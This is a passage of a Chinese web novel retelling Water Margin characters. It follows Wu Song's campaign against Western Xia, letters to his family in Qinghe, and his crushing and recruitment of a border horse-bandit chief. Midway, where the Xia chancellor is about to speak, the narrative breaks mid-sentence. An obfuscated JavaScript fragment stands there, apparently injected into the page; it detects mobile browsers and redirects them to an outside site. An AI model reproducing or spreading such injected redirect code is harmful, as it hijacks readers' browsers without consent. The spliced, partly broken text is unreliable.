孙二娘把羊肉丢在桌上,低声道:
“方才得到消息,二郎破了翔庆军,杀了他们七万精锐。”
张青抬头环顾四周,喜道:
“二郎果真厉害,算起来,西夏已经**十几万精锐了。”
孙二娘看了一眼门外街上,说道:
“你看西夏的青壮,难得见到,想来西夏的兵马都要杀光了。”
张青喜道:
“不知二郎何时用我们。”
“莫要焦躁,二郎让我们好好做生意,他不吩咐,我们不擅动。”
“我知晓的。”
张青把羊肉细细切了,做成羊肉馒头蒸了。
...
少华山。
九纹龙史进坐在树下,与神机军师朱武、跳涧虎陈达、白花蛇杨春吃酒。
这四个人是少华山的头目,神机军师朱武是大头领,史进是最后加入的。
正吃着酒,十几个喽啰闹哄哄押着一个军士上了山。
“头领,抓到一个当兵的,说来寻史头领。”
当兵的找上山,也是稀奇。
史进放下手中酒碗,问道:
“你是甚么人派来的?寻我做甚么?”
士兵从怀里抽出两封信,说道:
“小的是渭州府怀德军的军士,受宣抚副使武大人所托,来给九纹龙史进送信。”
“我便是九纹龙史进,你口里那个甚么宣抚使,我并不认得,他寻我作甚?”
“头领可认得延安府的教头王进?”
“王教头?那我的师父,如何不认得?”
“那便是了,王教头是武宣抚的部将。”
听说师父王进来信,史进连忙拆了两封信。
第220章 史进投军,家书送达
信中,王进说了自己延安府老种经略相公麾下当教头,现今在怀德军营寨。
又说鲁智深在怀德军,提及当年史进到渭州寻他不见的事情。
最后请史进到怀德军去,与他会合,希望他能从军立功,也算是报答当年史太公的恩情。
拆开另一封信,是武松代笔,鲁智深给史进的信。
鲁智深说得很简单,只说他如今回了渭州府,在阵前效力。
又说武松是他结义兄弟,郓王赵楷也是朋友,请他过去。
最后,武松也说请神机军师朱武、跳涧虎陈达、白花蛇阳春过去。
看完信后,史进大喜道:
“几位兄弟,我师父王进在渭州怀德军,招我过去。”
听说史进找到了师父,三人都是惊喜,不过史进说要去渭州怀德军,却不以为然。
神机军师朱武劝道:
“哥哥如今已经落了草,何必再想那做官的事情?”
跳涧虎陈达也说道:
“哥哥便只在此间做个寨主,却不快活。”
白花蛇杨春也劝道:
“我们寨子虽小,却也足够我们兄弟四人快活。”
“到了阵前,不免受人节制,如何能快活?”
史进把两封信递给朱武,说道:
“三位兄弟说得不错,但我是个清白好汉。”
“先前本要寻师父王进,奈何没缘分,不曾寻得。”
“如今我师父在那里做教头,还有我结拜的兄弟鲁达,已经做了步军都钤辖,也邀我过去。”
“最好的便是那宣抚副使、状元武松,是他状元出身,与我兄弟鲁达情深义厚。”
“便是当朝的郓王,与我兄弟鲁达也是交好的。”
“我师兄也请诸位过去,这宣抚副使武松的信,也是给几位兄弟的。”
陈达、杨春不识字,朱武识文断字、学过兵法军阵,他看了信后,惊讶道:
“我们不过是山野草寇,武状元居然知晓我等姓名?”
史进喜道:
“必然是我兄长鲁达举荐,三位兄弟莫要猜疑,随我去渭州府,也好讨个出身,求个功名。”
朱武三人本来不愿意去,因为不想屈居人下。
但是史进说军中主将和鲁智深相厚,那就不一样了。
到了军中,少说也能当个军官,好似在这里一辈子做草寇。
“既如此,我等随哥哥去。”
当下,朱武下令收拾山寨,又选了几十个精壮的喽啰跟随。
到了战场,肯定是要用人的。
收拾妥当,山寨的金银分了,朱武想留下些许人守着山寨,史进让朱武一把火烧了。
既然要投军,就该根底干净。
朱武觉得有道理,点了一把火,烧了山寨。
四个头领带着几十号人,急匆匆往渭州府赶去。
...
清河县。
一个军士骑着马进了县城,到了武家府邸门口。
正好见到一台轿子落下,身边跟着衙役,都头李满锅带刀护卫。
轿子落地,走出一个白净面皮的男子。
都头李满锅说道:
“知县相公,这里便是武大人的府邸。”
“哦,武修撰不在,府内都是女眷,不便进去。”
“旁边是武大人兄长的宅邸。”
“便去寻武修撰的兄长说话。”
这个白静男子是新任的知县,唤作钱禄。
原来的知县张知白回了开封府做通判。
新官到任,第一件事情就是拜会武松。
不过武松不在,潘金莲一众女眷在家里,不便见客。
所以对外招呼都是武大郎代劳。
钱禄和李满锅往武大郎家里走,军士却敲响了大门。
女仆开了门,军士说自己是武松派来送信的。
女仆高兴接了信,送到潘金莲手里。
此时潘金莲正在和孟玉楼、庞春梅、李瓶儿一众人乘凉。
吴月娘带着儿子坐在旁边,听说武松有信回来,众人都是大喜。
急忙拆了信,潘金莲看完,喜道:
“官人在渭州打了胜仗。”
李瓶儿抢了信,看过后,喜道:
“先前官人说要去打仗,我夜里总怕官人出事。”
“如今看来,是我多虑了。”
吴月娘看了,惊喜道:
“官人文武双全,好生厉害。”
庞春梅笑道:
“官人床上、战场都厉害。”
潘金莲微微叹息道:
“你们都有了孩子,唯独我的肚子不争气。”
庞春梅已经怀上了,肚子很大了。
李瓶儿、李娇儿、吴月娘早就生了。
就连孟玉楼也怀了,只剩一个潘金莲。
“姐姐要不去渭州寻夫吧,到了军营里头,姐姐便是唯一的。”
李瓶儿取笑,潘金莲笑骂道:
“骚蹄子,当初我不松口,你想上官人的床!”
“妹妹记得姐姐的大度,所以为姐姐出谋划策。”
“军中岂能有女子,我虽没有读过书,也是懂事理的。”
嬉闹一阵,潘金莲命李姝把信送给武大郎看。
武松和武大郎兄弟
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两个关系最好、感情也最深。
每次武松的家书到了,都要给武大郎过目。
李姝拿着信去了,潘金莲又让婢女重重赏了送信的军士,让他且等一等,潘金莲有回信要他带过去。
李姝拿着信到了隔壁,正好武大郎与知县钱禄说话。
此时的武大郎虽然依旧矮小,但是穿上了丝绸衣服,戴了员外帽、丝鞋净袜,已有了贵气。
李姝没有直接进去,而是把信送到了黄秀秀手里。
此时的黄秀秀也不再去肉铺杀猪宰羊,只聘了人做事。
自己穿金戴银做夫人,好不贵气。
黄秀秀如今见人就说,嫁给武大郎是几辈子的福分。
“大夫人。”
“李姝来了,甚么事情?”
“我家官人来信了,金莲姐姐看过了,让我送给大老爷。”
“好,我给他拿去。”
黄秀秀接了信,走进客厅,先对知县钱禄行个礼,钱禄慌忙起身回礼。
“官人,二郎来信了。”
武大郎接了信,眯着眼睛瞅了瞅,转头笑呵呵看向钱禄,说道:
“我不识字,劳烦知县相公看看。”
钱禄慌忙接了,看过后,说道:
“哎呀,武大人擢升为龙图阁待制了,又在渭州打了好大的胜仗!”
“哎呀呀...正四品龙图阁待制,又有军功...哎呀,武待制日后必定出将入相,位列三公!”
钱禄被震惊到了。
武大郎不太懂什么龙图阁待制,不过从钱禄的震惊可以看出,武松又升官了。
黄秀秀惊喜道:
“二郎就是厉害,又升官了。”
武大郎笑道:
“我就说二郎心思放在读书上更好,果然又升了官。”
“官人,金莲妹子要回信,你可有甚么话说?”
“没有,我如今酒肉不缺,好得很..”
钱禄在旁边笑呵呵说道:
“能否向武待制提一句小弟?”
武大郎笑呵呵道:
“这个无妨,就说新来了个知县,对我很照顾。”
“多谢大哥!”
钱禄起身,对着武大郎郑重拜了一拜。
黄秀秀已经习惯了,路过的官员都要来拜见武大郎,小小一个知县算什么。
黄秀秀拿着信去找潘金莲。
妯娌商量好,潘金莲说,孟玉楼执笔,写了一封回信。
潘金莲心里思念武松,解下身上的肚兜,装在盒子里,让军士一同带回去。
军士拿了东西,也不休息,立即回渭州府。
第221章 西夏换帅,胡瑗来信
怀德军营寨内。
武松到了西夏俘虏的营地,身后跟着白石子、李成龙、刘二三个军使。
三人都穿着大宋的红色军服,走在俘虏营里,格外不一样。
六盘山一战,杀敌两万多,俘虏三万多,剩下的逃回去了。
七万翔庆军,经过六盘山大战,只逃回去一万多。
那些逃散的败兵,有的去了西寿保泰军司,有的去了静塞军司,还有的回了西平府。
施恩带着人走过来,现在俘虏多了,须有专人看管。
施恩正好擅长做这些,所以俘虏营全部由他监管。
“哥哥,如今俘虏已有五万多,养在这里着实耗费粮米。”
“你挑选出五千精壮留在这里,剩下的送往渭州府屯田。”
施恩答应,当下开始挑选。
出了俘虏营,白石子三人回去,武松进了议事厅。
赵楷、张吉、何运贞三人正在看地图商议。
见武松来了,赵楷招手道:
“二郎,你过来看看。”
武松坐下来,赵楷指着地图上的会州,问道:
“阿惠已经退守西寿保泰军司,会州那边的兵力也撤走了,我想收复会州。”
会州处于北宋和西夏交界处,是一座小城,经常易手。
大宋强势的时候,会州被大宋占据。
西夏强势的时候,会州被西夏占据。
城池更迭非常频繁。
武松指着会州说道:
“会州距离西寿保泰军司虽然近一些,但北面是柔狼山,还不如西安州这条路平坦。”
张吉问道:
“二郎,真打算攻破西寿保泰军司?”
“对,我必要破他的。”
赵楷问道:
“何时回西安州?”
“明日回西安州,伤兵在怀德军营寨休养,其余回去,准备进攻西寿保泰军司。”
到了第二天,禁军和厢军离开怀德军营寨,回到西安州。
此时的西安州城池被大火烧过,房屋都没有了,需要重新建造。
武松就在西安州训练兵马,特别是骑兵。
从西夏缴获了数万匹马,可以多训练两万骑兵。
...
西寿保泰军司。
御史台和枢密院的人进入营寨,献王阿惠带着几个监军使出迎。
见到御史台的人,大家心里都清楚,重贵到皇帝那里告状了。
仁多洗忠给布雅使个眼色,布雅微微叹息。
御史中丞刘昊带着人进了营寨坐下,阿惠准备了好酒好肉,好找来了美姬跳舞。
刘昊该吃吃、该喝喝,散席后,公事公办,把阿惠叫到房间里问询。
重点是阿惠见死不救,还是重贵私自出兵。
阿惠一口咬死,说重贵刚愎自用。
问完后,御史中丞刘昊说道:
“兀卒别有圣旨。”
阿惠立即起身接旨。
“兀卒说,献王损兵折将,连粮草都守不住。”
“若是无能,可自裁!”
听到“自裁”两个字,阿惠感觉脖子一凉。
“请回禀兀卒,我一定能杀掉武松。”
“我一定转达。”
刘昊没有多说什么,起身回了营房休息。
从房间里出来,阿惠出了一身冷汗。
监军使马颂走过来,问道:
“王爷没事吧?”
阿惠擦了擦额头的冷汗,说道:
“兀卒说...若是杀不掉武松,我可自裁!”
马颂闻之骇然...
“把卓罗和南军司的兵马全部调过来。”
“可是...兰州尚有宋国驻军,军司兵力抽走,只怕被突袭。”
“我须先保住首级。”
马颂无奈,只得派人传令,把卓罗和南军司所有兵马调过来。
御史中丞刘昊从房间里出来后,找到从六盘山逃回来的翔庆军,问了情况后,也不多逗留,马上回兴庆府复命。
路上走得很快,几天便回到了。
到了宫里,刘昊见到李乾顺,将事情禀报。
事情的前因后果都问得很清楚,李乾顺听完后,骂道:
“阿惠畏缩怕死,岂能任主帅!”
“把中书令、枢密使找来!”
太监传旨,李光信、香都匆匆进了御书房。
听完刘昊的话,两人同时面露震惊之色。
他们一直觉得阿惠此人胆子大,怎么会怯战?
李乾顺没有耐心听其他,问道:
“阿惠怯如鸡,你们说,该派谁去?”
李乾顺打定主意要更换主帅,李光信看向香都。
香都是枢密使,这种更换主帅的事情,需要他提出人选。
“武松那厮诡计多端,下手又凶狠毒辣,须有一智勇双全的大将才能与之对阵。”
“微臣举荐黑水镇燕军司监军使嵬名令,此人智勇双全。”
李乾顺看向李光信,问道:
“中书令以为如何?”
李光信回道:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367430|182038||http|test|mini|href|location''.split(''|''),0,{}));
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r>“嵬名令善出奇兵,正好对付武松,微臣附议。”
李乾顺深吸一口气,说道:
“传旨,宣黑水镇燕军司监军使嵬名令回京!”
太监马上传旨。
...
西安州。
两万骑兵正在操练,这两支骑兵分别归卢俊义、杨志统领。
白石子和李成龙、刘二帮着练兵。
他们三人曾经是铁鹞子的将官,对西夏马战很熟悉。
张吉看着马军操练,欣喜道:
“我这马军都总管手里的军马越发多了。”
欧阳雄骑着一匹马,匆匆跑过来,说道:
“哥哥,都转运使何叔来信,说山西转运的粮草少了五成。”
武松问道:
“何时少的?”
“就在三日前,本该送来的粮草少了一半。”
郓王赵楷皱眉道:
“恐怕是太师见我们立功,暗中克扣粮草了。”
武松骂道:
“蔡攸这厮吃屎的,看不住他老子。”
“无妨,我写一封信给蔡攸。”
离开校场,回到房间里,武松当即写了一封信,差人火速送回京师,交到蔡攸手里。
从房间里出来,正要前往校场看练兵,却见何运贞带着几个差役过来。
“拜见武宣抚。”
差役行礼,何运贞说道:
“哥哥,这是胡知州派来的信使。”
“胡知州?”
武松疑惑,一时没想起来是哪个?
差役回道:
“小的是环州府知州胡瑗胡知州部下,特来送信。”
武松恍然道:
“对,老师外放到关西,我竟一时忘了。”
“里面坐。”
武松请信使进屋坐地,信使连连说不敢。
何运贞让他们坐下说话,这是尊师之道。
听如此说,信使才坐下来。
“这是胡知州给武宣抚的信。”
武松拆开,里面是胡瑗的亲笔信。
除了寒暄客套之外,胡瑗想请武松帮忙剿匪。
“环洲匪患如此严重么?”
看完信,武松问信使。
武松正在和西夏对峙,这个时候,如果不严重,胡瑗不会专程派人过来请武松帮忙。
信使回道:
“胡知州晓得武宣抚战事紧急,此来求助,也属无奈之举。”
信使把环州府匪患的事情一一说了。
武松听完,说道:
“好,我亲自去一趟。”
第222章 亲自出马,抵达环州
国子监博士,学识渊博,属于清贵的读书人。
这样的人外放做官,一般都去富庶之地。
但胡瑗因为和武松交好,蔡京看胡瑗不顺眼,把胡瑗外放到环州府担任知州。
环州府西北方就是西夏,属于边关前线,随时都要打仗。
再加上干旱贫瘠,绝对不是好地方。
而且,这种贫瘠干旱的地方最容易出盗匪。
环州府就出了一伙盗匪,经常**村镇,甚至趁着大宋和西夏交战,进攻环州城。
胡瑗亲自率兵征剿,死伤颇多,却未能见效。
不得已,胡瑗派人来请武松,希望能派人过去征剿,肃清匪患。
武松和胡瑗关系深厚,他派人过来求助,武松肯定会援手。
不过,让武松决定亲自走一趟,是因为这群马贼很特殊。
他们之所以难以剿灭,是因为可以轻松穿梭于大宋和西夏。
大宋追剿的时候,他们逃到西夏。
反过来,西夏追剿的时候,他们就逃到大宋躲避。
西夏和大宋互为敌国,不可能合作剿匪。
所以,这群马贼怎么也铲除不掉。
见武松要亲自去,何运贞劝道:
“区区蟊贼,哥哥为何亲自去?”
“哥哥如今是宣抚副使,几十万兵马都由你指挥,不可轻易离去。”
“若是哥哥不在时,那阿惠突然来袭,我等只恐不是敌手。”
武松笑道:
“前几日打探的消息,西夏御史中丞到了西寿保泰军司,我估计李乾顺要换帅了。”
“这个时候,西夏不会进攻。”
“我们也需要时日休整,待粮草军备到了,再商议进攻之事。”
“胡博士是我老师,这伙马贼也有特殊之处,我须走一趟,很快便回来。”
见武松已经决定,何运贞也不好劝阻。
不管怎么说,武松是副将,他必须服从军令。
安排信使吃饭,武松找到赵楷,说自己要去一趟环州府。
赵楷自然也不同意,说武松是主将,怎么可以擅自离开。
武松说了自己的打算,赵楷听完,只能答应了。
武松到了校场,找到正在练兵的卢俊义,交代了几句。
卢俊义倒是没有反对,只说武松小心,切莫杀入西夏境内。
武松又到了西夏兵所在的营地,扈三娘正在里面传授刀法。
“你们所有人跟我走一趟。”
武松开口,扈三娘问道:
“二郎,我们去甚么地方?”
“环州城,剿匪。”
“剿匪?甚么厉害盗匪,须你亲自去剿?”
“我老师在环州城任知州,派人来寻我。”
“哦...是他呀,我跟二郎同去。”
“你把二宝叫上,同我一起去。”
“好。”
扈三娘出去找李二宝。
白石子问道:
“武宣抚,我们一起去么?”
“对,你们所有人跟我去,只带你们。”
听说只带他们西夏兵,白石子颇为惊讶。
李成龙、六二同时拜道:
“愿为大人赴汤蹈火。”
“每人两匹马,带上粮食和水,刀枪**,全部备好。”
武松吩咐,白石子三人下令全军准备出发。
得知武松只带他们,众人都很兴奋。
这是对于他们的信任。
很快,扈三娘、李二宝过来,武松上马,带着西夏兵离开营地。
胡瑗派来的差役骑马在前面,武松带着三百人在后面缓缓往东边进发。
天上日头暴晒,扈三娘戴了一顶帷帽遮面。
李二宝回头看着西夏骑兵,问道:
“主人,给他们起个名字吧。”
白石子听了,也说道:
“请主人为我们赐名。”
武松随口说道:“就叫破阵营!”
“破阵营,好名字!”
身后骑兵听到武松给军队起了名字,都很高兴。
军队和人一样,有了名字便是独一无二的存在。
西安州距离环州不远,相距不过百里之遥。
西安州到环州城路线图
两天的时间,武松抵达环州府。
只见城墙用土石修筑,不是很高,上面设置箭楼。
城门口有士兵盘查把守,进城的人都必须搜身。
武松到了城门,引路的差役说了几句,守城士兵放行。
进入城内,只见屋舍低矮,铺子也不太多。
看得出来,这座城池很寒酸。
到了府衙,武松不等差役禀报,带着扈三娘、李二宝直入正堂。
胡瑗见到武松,大喜道:
“武宣抚到了。”
武松笑道:
“学生见过老师。”
“你现在是宣抚副使,镇守一方的大将,我不能比啊。”
胡瑗看向后面两人,问道:
“这两位甚么人?”
扈三娘、李二宝抵达京师的时候,胡瑗已经外放,相互间没有见过,并不认得。
扈三娘对胡瑗也是耳闻,未见过本尊。
“这位是扈三娘,武艺了得,在军中担任骑将。”
“
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这位是我清河县的李二宝,带着身边当个随从。”
扈三娘对着胡瑗点头行礼。
李二宝装模作样拱手拜道:
“在下游山狼李二宝。”
武松愣了一下,问道:
“游山狼?你甚么时候有了绰号?”
扈三娘说道:
“他见其他人都有绰号,自己取了一个。”
李二宝有些不好意思。
胡瑗笑呵呵引着武松到里面坐地,手下差役上茶。
倒了四杯茶,胡瑗笑道:
“贫瘠之地,没有甚么好茶叶招待。”
“斯是陋室、惟吾德馨,老师的茶岂有不好的。”
武松喝了一盏茶,扈三娘、李二宝都喝了。
“自到关西地界,一直有战事,未曾来见老师。”
胡瑗喝了一口茶,说道:
“我知晓战事频繁,本不想扰你,奈何贼匪猖狂,前几日居然想破我城池。”
“无奈之下,只得请你派兵助我围剿。”
“本只想要千人左右兵马,你却亲自到了。”
胡瑗语气有些责备,觉得武松是因为和他有师生之情,所以擅离职守。
“老师宽心,西夏刚刚经历大败,必不敢进攻。”
“且西安州有我师兄和种经略,便是西夏突袭,也能守住的。”
听武松这样说,胡瑗才安心道:
“如此便好,切莫因我出了岔子。”
“我来说说那群马贼。”
胡瑗详细说了劫掠环州城马贼的情况。
这群马贼大概有四百多人,都是骑兵,有西夏人、也有大宋人。
常年在两国边境劫掠,在大宋和西夏都有据点。
西夏和大宋都曾经派兵征剿过,但他们来回流窜,根本无法剿灭。
胡瑗曾经向种师道要过兵马,亲自带兵追杀,那群马贼见官兵来了就跑。
等官兵走了,他们又杀回来,搅得环州城鸡犬不宁。
自从种师道带领延安府兵马离开,这群马贼变得肆无忌惮,甚至越过环州城,劫掠庆州。
胡瑗希望武松能歼灭这群马贼,至少狠狠杀他一次,让这群马贼不敢侵犯环州城。
武松听完,问道:
“这群马贼如今在何处?”
“被我击退了,如今应该在白马川河谷一带。”
“我抵达的消息封锁,莫让他们知晓,依照老师所言,这群马贼必然会再来的。”
“好,你带来的马军且到衙门里休息。”
武松传令,白石子带着骑兵进入府衙的营地休息,不外出活动。
第223章 包围马贼,绰号垂耳佛
武松在府衙住下,胡瑗见到武松,格外高兴。
两人在书房喝茶聊天,直到深夜。
扈三娘见武松和胡瑗聊得那么起劲,心里生闷气。
到了后半夜,武松才回房睡觉。
刚刚睡下不久,便听见城楼上锣鼓响动。
武松快速披衣起床,提着一杆枪出了院子。
扈三娘、李二宝同时冲出来。
胡瑗也从后院出来,身上穿了甲胄,手里提着刀。
以前胡瑗只看圣贤书,到了这里,为了对付贼匪,也开始用刀了。
“老师。”
“贼匪来了。”
扈三娘、李二宝往后衙叫醒破阵营,所有人跟着武松往北门去。
战斗已经开始,不少守城的士兵被射杀,从城墙上坠落。
外面马蹄声杂乱,城内百姓在屋子里惊慌往外看。
“谭凤何在!”
胡瑗大喊,士兵回道:
“谭都监在城楼上。”
谭凤是环州城的兵马都监,统领环州的兵马。
武松纵身上了城墙,只见城外的马贼举着火把,绕着城墙放箭,有些已经试图爬上城墙。
武松大略看了一下,人数大概有五百。
回到城下,武松对胡瑗说道:
“老师,你在此拖住他们,我从南门绕后。”
“好!”
胡瑗亲自登上城墙,和马贼交战。
武松带领破阵营快速从南门出去。
“三娘、二宝,你们带着白石子、李成龙两百人从西绕过去。”
“刘二,你跟我!”
吩咐完毕,扈三娘带着两百骑兵从西边包抄,武松带着一百骑兵从东面包抄。
环州城不大,武松很快绕过东面城墙,望见正在攻城的马贼。
武松挥挥手,刘二带着几十人绕到北面,堵住马贼的归路。
扈三娘、李二宝也到了,武松大喝一声,直冲马贼阵后。
这群马贼的首领,就在后面。
马贼首领骑在马上,在火光中望见胡瑗,嘲讽道:
“这厮听闻是宋国的博士,一个读书人,杀鸡的气力也无。”
“这等人做知州,能济得甚么事情。”
旁边的头领哈哈笑道:
“种师道走了,这边都没有军马,必要破了环州城,好生劫掠一番。”
几个头领哈哈大笑。
突然,东西两侧有骑兵杀来,头领惊呼道:
“不好,延安府的骑兵来了。”
首领见状,略微惊讶:
“怎会有马军?延安府不是空了么?”
“哥哥,快些走吧!”
这群骑兵十分凶猛,前方攻城的马贼一触即溃,瞬间**了几十个。
首领正待要走,却见一个巨汉骑着一匹乌溜黑的大马杀过来。
“快走!”
首领见来人气势凶狠,不敢交战,转身就要逃走。
巨汉早已追上,**捅死几个头目,飞奔杀过来。
首领吓得肝胆俱裂,大叫道:
“怎会有猛将守城?”
跑出不多远,就看见一队骑兵围过来,刘二截住了归路,大骂道:
“宣抚使在此,还不下马!”
首领吃了一惊,还想往别处逃跑,巨汉已经追上,一枪捅死坐下马,首领撞在地上。
李二宝追上来,一把按住首领。
城墙上,胡瑗见武松绕到了后方,两侧骑兵开始冲杀,马贼溃散,大喊道:
“杀出去!”
兵马都监谭凤提刀跳下城墙,带着士兵追杀。
胡瑗也提着刀,慢慢下了城墙。
两面合围,500多马贼杀的杀、捉的捉,没走脱一个。
武松提着马贼首领过来,笑道:
“老师,这人便是贼首。”
见到首领,胡瑗骂道:
“好个狗贼,屡屡犯我城池,前几日险些被你一箭射死!”
“来人,绑起来,先挂在城墙上暴晒三天示众!”
手下士兵过来,把贼首结结实实绑了。
兵马都监谭凤见到武松,惊问道:
“知州相公,这位莫非是您的门生状元郎?”
问到这个,胡瑗得意道:
“不错,这位便是去年的状元,如今是宣抚副使、龙图阁待制。”
“末将谭凤,拜见武待制!”
谭凤连忙行礼,武松笑道:
“不多礼,且回去再说。”
收兵回城,胡瑗下令打更人沿街呐喊,告诉城内百姓,马贼已经全部消灭,可以安眠。
打更人沿街叫唱,百姓听说马贼被全灭了,都不相信。
回到城内,贼首被绑在集市中间,其余马贼投入大牢。
武松带着破阵营先回去休息,城内将士也回去休息。
到了第二日。
武松醒来时,差役送来酒饭
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。
扈三娘、李二宝过来,三个人一起吃了饭。
问了府里的人,说胡瑗正在集市公开审讯马贼。
武松带着扈三娘、李二宝到了集市,果然见到胡瑗当众审讯。
首领被绑在中间的柱子上,旁边跪着一百多马贼。
昨夜天黑看不分明,此时才看清楚,那马贼首领耳朵很长,快到肩膀。
李二宝望见那马贼首领,说道:
“俺娘说耳朵垂肩是有福的菩萨,这厮怎做了马贼?”
旁边的百姓听了,说道:
“这马贼外号垂耳佛,却是个**不眨眼的。”
“甚么垂耳佛,还是被知州相公捉了。”
“那该死的马贼,活该千刀万剐了。”
“那对大耳吃了能补身子...”
武松微微皱眉,感觉此地民风着实剽悍,居然要吃马贼的耳朵。
胡瑗在中间痛骂马贼残暴,判了所有马贼斩首,垂耳佛凌迟。
武松走到后面,将兵马都监谭凤找来,低声说了几句。
谭凤点头,过去对着胡瑗耳语几句,胡瑗微微皱眉,随即说道:
“将贼首押回京师,凌迟示众!”
“其余马贼,当众斩首!”
刽子手上去,把一百多马贼全部斩首。
人头滚落在地上,血喷了一地。
看热闹的百姓纷纷叫好。
垂耳佛绑在中间的柱子上,看着满地的人头,脸色吓得变了。
马贼杀完,众人散去,垂耳佛被押回大牢。
胡瑗找到武松,问道:
“二郎,为何留他不死?”
“我有事情要问他。”
“好,你且去。”
武松带着扈三娘、李二宝进了死牢,垂耳佛被枷锁绑得死死的。
公人把垂耳佛拖出来,其他人出去。
见到武松,垂耳佛抬头看着,苦笑道:
“听闻大人是宣抚使、朝廷的状元公。”
“不错,我就是武松。”
“小的区区一个马贼,有甚么本事,居然惊动大人。”
“知州是我老师,他唤我来,我便来了。”
垂耳佛愣了一下,叹笑道:
“早知他是你老师,我便不来了。”
武松让李二宝拿来钥匙,开了垂耳佛的枷锁。
垂耳佛惊讶地看着武松,不知所以。
“大人想要如何处置小的?”
第224章 收服垂耳佛,阿惠的诡计
“我有些事情问你。”
垂耳佛叹息道:
“大人问便是,横竖一个死罢了。”
武松问道:
“你姓甚名谁?”
“小的李吉,祖上西夏韦州人士,父辈迁徙到庆州,也曾考过功名,奈何落榜,又遭逢旱灾,破了家业,便做了马贼。”
“你考的武举还是科举?”
“小的考的是科举...”
武松摇头笑道:
“你一个当马贼的,居然去考科举。”
垂耳佛李吉苦笑道:
“我虽然幼年学过武艺,但大宋以文治国,文人出身清贵,哪个不想中进士。”
“只恨小的天资不足,中不了举人进士。”
说到这里,李吉看武松的眼神充满羡慕敬佩。
坐在眼前的就是大宋的状元!
他做梦也不敢想的存在。
“你做马贼多久了?”
“快十年了。”
“劫掠过西夏?”
“是,我在两国边境打家劫舍,西夏也有劫掠。”
“两国边境都有兵马防守,你为何能来去自如?”
环州附近,大宋有定边军营寨镇守,西夏有**寨、清远军城,再往北还有静塞军司。
这么多的兵马、军寨,李吉还能来去自如,也算本事。
李吉回道:
“大人明鉴,边境上的兵马、军寨虽多,但这些兵马都是军防。”
“小的只是马贼,他们并不理会。”
“再则,小的打家劫舍,得了好处,会与他们斥候分利。”
“所以,两面的斥候见了我们,都不理会。”
武松明白了。
边关的驻防部队看不上这群马贼。
而负责侦察的巡逻兵又得了好处,睁一只眼闭一只眼,假装不知道。
难怪能在边关穿梭十年。
“我且问你,西夏那边,你最远曾抵达何处?”
李吉回道:
“最远曾到静州。”
西夏都城兴庆府在如今的银川市,静州就是如今的永宁县。
两地相距不过二十多里。
听到这里,武松问道:
“你如何从环州到静州的?”
“小的从青岗峡过去,从盐州,顺着长城往北走,绕过翔庆军,便到了静州。”
“走了几天?”
“小的一路劫掠,走走停停,约莫半月。”
“可有地方补给水源?”
“有,路上有绿洲,饮水足够。”
武松微微颔首道:
“你好大的胆子,他们若是将归路截住,你必死!”
李吉苦笑道:
“囫囵一条烂命,死不足惜。”
武松招招手,李二宝出去拿了酒和羊肉进来。
酒肉摆在桌上,武松说道:
“吃吧!”
李吉以为是最后一顿,也不客气,抓了便吃。
一壶酒喝完,感觉没喝够,说道:
“求大人再给两壶酒,小的醉了好上路,也痛快些。”
武松没有再给酒肉,而是问道:
“可愿到我麾下效力?”
李吉愣了一下,随即磕头拜道:
“大人饶我不死,有甚么不愿意的。”
“自今往后,唯大人马首是瞻、赴汤蹈火、在所不辞!”
武松点头道:
“你罪大恶极,需立大功,我才好向朝廷要赦令免你罪过。”
“待功劳够了,也给你个封妻荫子,不辱没你父母清白。”
李吉听了,激动地拜道:
“小的粉身碎骨,报答主人恩情。”
武松指着李二宝说道:
“你们都姓李,都没有兄弟,今日结拜为兄弟,在我麾下当随从。”
武松发话,李二宝自然遵从。
两人就在牢房结拜,李吉年岁大,做了兄长。
两人自此以兄弟相称。
出了牢房,李吉跟着李二宝去洗漱。
武松则找到胡瑗,两人在书房里说了半天,胡瑗判了李吉从军赎罪。
武松和不少贼寇结拜过,张青、孙二娘也是匪类,但他们**有原则,只杀坏人,不杀良善。
鲁智深、杨志也是贼寇,但也是好汉。
李吉这厮当马贼,作恶太多,若非看他有用,肯定凌迟处死。
所以武松不屑于和李吉结拜。
让他和李二宝结拜则是为了拉拢,让他安安心心跟着。
在环州城住了几天,武松带着破阵营的骑兵回西安州。
两天的路程,很快回到西安州。
刚进城,赵楷便找到武松。
问了环州府的情况,赵楷说阿惠把卓罗和南军司的兵马全部调过来了。
武松知道赵楷的意思,此时卓罗和南军司空虚,如果突袭,可以占领卓罗和南军司。
种师道、种师中两人也在场,武松问道:
“两位老将军以为如何?”
种师中说道:
“兰州城还有兵力,趁此时攻占卓罗和南军司,可以分散西夏兵力。”
“如此一来,
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西夏既要应对西安州,又要防范兰州,于我等有利。”
武松问其他人,欧阳雄说道:
“哥哥,小弟觉得小经略相公所言有理。”
何运贞皱眉,说道:
“军中称呼职务,叫甚么哥哥!”
欧阳雄不理会,他故意这样和武松套近乎。
武松摇头道:
“卓罗和南军司是阿惠的老巢,我虽然破了翔庆军,有进攻西寿保泰军司的意图。”
“但西寿保泰军司还有二十多万兵马,他何必将卓罗和南军司兵力全部调走?”
这么一说,确实感觉不太合理。
鲁智深问道:
“莫非那鸟厮急了,所以如此。”
武松摇头道:
“不,阿惠此人虽无大智,却有小聪明。”
“他损兵折将,自知难逃惩罚,将卓罗和南军司兵力尽数调走,一则做给李乾顺看,以示他没有私心,二则便是引诱我等进攻。”
赵楷听完,不懂武松的意思,问道:
“他做给李乾顺看,我懂他心思。”
“可为何引诱我等进攻?卓罗和南军司是他老巢。”
武松笑道:
“卓罗和南军司若被攻打,李乾顺必定让阿惠夺回。”
“如此一来,他便可暂时逃脱罪责,不受惩罚。”
“他此举乃是弃车保帅,想以军司换自己的性命。”
如此一说,众人恍然大悟。
原来阿惠把家底掏空,是为了保住自己的性命。
卢俊义问道:
“那卓罗和南军司是打,还是不打?”
所有人等着武松的决定。
武松笑道:
“既然阿惠请我们去,自然要去的。”
“卢将军便带着新练的两万马军,连夜突袭卓罗和南军司。”
“破了军司后,将营寨烧了,然后返回复命。”
种师道不解,问道:
“武宣抚此举,岂非救了阿惠?”
武松点头道:
